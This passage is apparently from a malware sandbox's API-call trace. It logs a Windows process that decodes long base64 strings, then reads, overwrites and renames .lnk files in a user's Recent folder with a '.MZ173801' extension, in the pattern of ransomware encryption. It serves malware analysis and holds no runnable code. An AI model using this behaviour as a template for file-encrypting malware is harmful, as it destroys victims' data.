cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1588 [0120.719] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x79079c, cbMultiByte=1588, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", lpUsedDefaultChar=0x0) returned 1588 [0120.720] GetCurrentThreadId () returned 0x9fc [0120.720] GetCurrentThreadId () returned 0x9fc [0120.720] GetCurrentThreadId () returned 0x9fc [0120.720] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="M0E4Q0JFQzNBQ0EzMzE0MjRDQ0FGODYwQzEzRTM1OTdDOThGQTIzOTA5NDc5NTRCMEFCMjEyODg1MkU4MUUwRTM4OUMxOTlGMDk0Q0Y4Njg0QzUwMEU5QUU4MzBGRjNGMzU5Q0JFODVFRkEyMUUzNkFEOUI0RTI5NEZFQkNCNDRDMkVBM0RDNjU2NENDMTA0OThCODBFQTBCOTc2RkIxQkFGNEVDRjQ4QjJFODVGQThERDVENDlGOEY1NjUxQkY3QUVDMzg4MUNDMTQ4M0NBOEVBQkU5N0MzNjgxM0ZEMkNCNDBGNkE0MERBRTcyRjJFNzAyRUFENEZDMkMzQjgzMkM0RUFGNzRBQUQzODI5RjkzRjkwOUU3NjdCOURCQjk0OTZCQjlCOEVCNDkzNkI3OUJDMzc3OUJENTdBNEI2NTE=", cchWideChar=428, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 428 [0120.720] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="M0E4Q0JFQzNBQ0EzMzE0MjRDQ0FGODYwQzEzRTM1OTdDOThGQTIzOTA5NDc5NTRCMEFCMjEyODg1MkU4MUUwRTM4OUMxOTlGMDk0Q0Y4Njg0QzUwMEU5QUU4MzBGRjNGMzU5Q0JFODVFRkEyMUUzNkFEOUI0RTI5NEZFQkNCNDRDMkVBM0RDNjU2NENDMTA0OThCODBFQTBCOTc2RkIxQkFGNEVDRjQ4QjJFODVGQThERDVENDlGOEY1NjUxQkY3QUVDMzg4MUNDMTQ4M0NBOEVBQkU5N0MzNjgxM0ZEMkNCNDBGNkE0MERBRTcyRjJFNzAyRUFENEZDMkMzQjgzMkM0RUFGNzRBQUQzODI5RjkzRjkwOUU3NjdCOURCQjk0OTZCQjlCOEVCNDkzNkI3OUJDMzc3OUJENTdBNEI2NTE=", cchWideChar=428, lpMultiByteStr=0x78856c, cbMultiByte=428, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="M0E4Q0JFQzNBQ0EzMzE0MjRDQ0FGODYwQzEzRTM1OTdDOThGQTIzOTA5NDc5NTRCMEFCMjEyODg1MkU4MUUwRTM4OUMxOTlGMDk0Q0Y4Njg0QzUwMEU5QUU4MzBGRjNGMzU5Q0JFODVFRkEyMUUzNkFEOUI0RTI5NEZFQkNCNDRDMkVBM0RDNjU2NENDMTA0OThCODBFQTBCOTc2RkIxQkFGNEVDRjQ4QjJFODVGQThERDVENDlGOEY1NjUxQkY3QUVDMzg4MUNDMTQ4M0NBOEVBQkU5N0MzNjgxM0ZEMkNCNDBGNkE0MERBRTcyRjJFNzAyRUFENEZDMkMzQjgzMkM0RUFGNzRBQUQzODI5RjkzRjkwOUU3NjdCOURCQjk0OTZCQjlCOEVCNDkzNkI3OUJDMzc3OUJENTdBNEI2NTE=", lpUsedDefaultChar=0x0) returned 428 [0120.720] GetCurrentThreadId () returned 0x9fc [0120.720] GetCurrentThreadId () returned 0x9fc [0120.720] GetCurrentThreadId () returned 0x9fc [0120.721] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\6 1WCRQ4l39z0.flv.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\6 1wcrq4l39z0.flv.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0120.721] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f984*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f984*=0) returned 0x0 [0120.721] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x0 [0120.721] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x9f9 [0120.721] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x0 [0120.721] ReadFile (in: hFile=0x288, lpBuffer=0x7a02a0, nNumberOfBytesToRead=0x9f9, lpNumberOfBytesRead=0x18f990, lpOverlapped=0x0 | out: lpBuffer=0x7a02a0*, lpNumberOfBytesRead=0x18f990*=0x9f9, lpOverlapped=0x0) returned 1 [0120.722] CloseHandle (hObject=0x288) returned 1 [0120.722] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\6 1WCRQ4l39z0.flv.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\6 1wcrq4l39z0.flv.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0120.723] WriteFile (in: hFile=0x288, lpBuffer=0x7a22d0*, nNumberOfBytesToWrite=0x9f9, lpNumberOfBytesWritten=0x18f99c, lpOverlapped=0x0 | out: lpBuffer=0x7a22d0*, lpNumberOfBytesWritten=0x18f99c*=0x9f9, lpOverlapped=0x0) returned 1 [0120.724] CloseHandle (hObject=0x288) returned 1 [0120.725] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\6 1WCRQ4l39z0.flv.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\6 1wcrq4l39z0.flv.lnk"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\6 1WCRQ4l39z0.flv.lnk.MZ173801" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\6 1wcrq4l39z0.flv.lnk.mz173801")) returned 1 [0120.726] GetCurrentThreadId () returned 0x9fc [0120.726] GetCurrentThreadId () returned 0x9fc [0120.726] GetCurrentThreadId () returned 0x9fc [0120.726] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xde1237c0, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xde1237c0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xde1237c0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x7a98342e, dwReserved1=0xa03bf443, cFileName="61APk.lnk", cAlternateFileName="")) returned 1 [0120.726] FileTimeToLocalFileTime (in: lpFileTime=0x18fadc, lpLocalFileTime=0x18fa3c | out: lpLocalFileTime=0x18fa3c) returned 1 [0120.726] FileTimeToDosDateTime (in: lpFileTime=0x18fa3c, lpFatDate=0x18faaa, lpFatTime=0x18faa8 | out: lpFatDate=0x18faaa, lpFatTime=0x18faa8) returned 1 [0120.726] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\61APk.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\61apk.lnk"), fInfoLevelId=0x0, lpFileInformation=0x18f9d0 | out: lpFileInformation=0x18f9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xde1237c0, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xde1237c0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xde1237c0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0xa00)) returned 1 [0120.728] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1588 [0120.728] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x79079c, cbMultiByte=1588, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", lpUsedDefaultChar=0x0) returned 1588 [0120.729] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\61APk.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\61apk.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0120.729] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f984*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f984*=0) returned 0x0 [0120.729] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x0 [0120.729] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0xa00 [0120.729] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x0 [0120.729] ReadFile (in: hFile=0x288, lpBuffer=0x7a02a0, nNumberOfBytesToRead=0xa00, lpNumberOfBytesRead=0x18f990, lpOverlapped=0x0 | out: lpBuffer=0x7a02a0*, lpNumberOfBytesRead=0x18f990*=0xa00, lpOverlapped=0x0) returned 1 [0120.730] CloseHandle (hObject=0x288) returned 1 [0120.730] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\61APk.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\61apk.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0120.731] WriteFile (in: hFile=0x288, lpBuffer=0x7a22d0*, nNumberOfBytesToWrite=0xa00, lpNumberOfBytesWritten=0x18f99c, lpOverlapped=0x0 | out: lpBuffer=0x7a22d0*, lpNumberOfBytesWritten=0x18f99c*=0xa00, lpOverlapped=0x0) returned 1 [0120.732] CloseHandle (hObject=0x288) returned 1 [0120.744] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\61APk.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\61apk.lnk"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\61APk.lnk.MZ173801" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\61apk.lnk.mz173801")) returned 1 [0120.745] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdeead4e0, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xdeead4e0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdeead4e0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0xa4d, dwReserved0=0x7a98342e, dwReserved1=0xa03bf443, cFileName="6bT8WXgaafX4.lnk", cAlternateFileName="6BT8WX~1.LNK")) returned 1 [0120.745] FileTimeToLocalFileTime (in: lpFileTime=0x18fadc, lpLocalFileTime=0x18fa3c | out: lpLocalFileTime=0x18fa3c) returned 1 [0120.745] FileTimeToDosDateTime (in: lpFileTime=0x18fa3c, lpFatDate=0x18faaa, lpFatTime=0x18faa8 | out: lpFatDate=0x18faaa, lpFatTime=0x18faa8) returned 1 [0120.745] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS 